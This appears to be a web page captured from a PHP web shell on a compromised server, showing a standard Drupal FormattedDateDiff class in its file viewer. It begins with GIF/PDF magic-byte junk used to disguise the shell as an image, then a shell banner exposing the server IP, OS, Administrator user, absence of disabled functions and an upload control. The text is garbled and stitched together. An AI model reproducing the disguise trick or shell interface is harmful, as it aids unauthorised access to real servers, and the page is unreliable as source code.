GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Datetime/ |
Upload File : |
<?php namespace Drupal\Core\Datetime; use Drupal\Core\Cache\CacheableDependencyInterface; use Drupal\Core\Cache\UnchangingCacheableDependencyTrait; use Drupal\Core\Render\RenderableInterface; /** * Contains a formatted time difference. */ class FormattedDateDiff implements RenderableInterface, CacheableDependencyInterface { use UnchangingCacheableDependencyTrait; /** * The actual formatted time difference. * * @var string */ protected $string; /** * The maximum time in seconds that this string may be cached. * * Let's say the time difference is 1 day 1 hour. In this case, we can cache * it until now + 1 hour, so maxAge is 3600 seconds. * * @var int */ protected $maxAge; /** * Creates a new FormattedDateDiff instance. * * @param string $string * The formatted time difference. * @param int $max_age * The maximum time in seconds that this string may be cached. */ public function __construct($string, $max_age) { $this->string = $string; $this->maxAge = $max_age; } /** * @return string */ public function getString() { return $this->string; } /** * {@inheritdoc} */ public function getCacheMaxAge() { return $this->maxAge; } /** * The maximum age for which this object may be cached. * * @return int * The maximum time in seconds that this object may be cached. * * @deprecated in Drupal 8.1.9 and will be removed before Drupal 9.0.0. Use * \Drupal\Core\Datetime\FormattedDateDiff::getCacheMaxAge() instead. */ public function getMaxAge() { return $this->getCacheMaxAge(); } /** * {@inheritdoc} */ public function toRenderable() { return [ '#markup' => $this->string, '#cache' => [ 'max-age' => $this->maxAge, ], ]; } }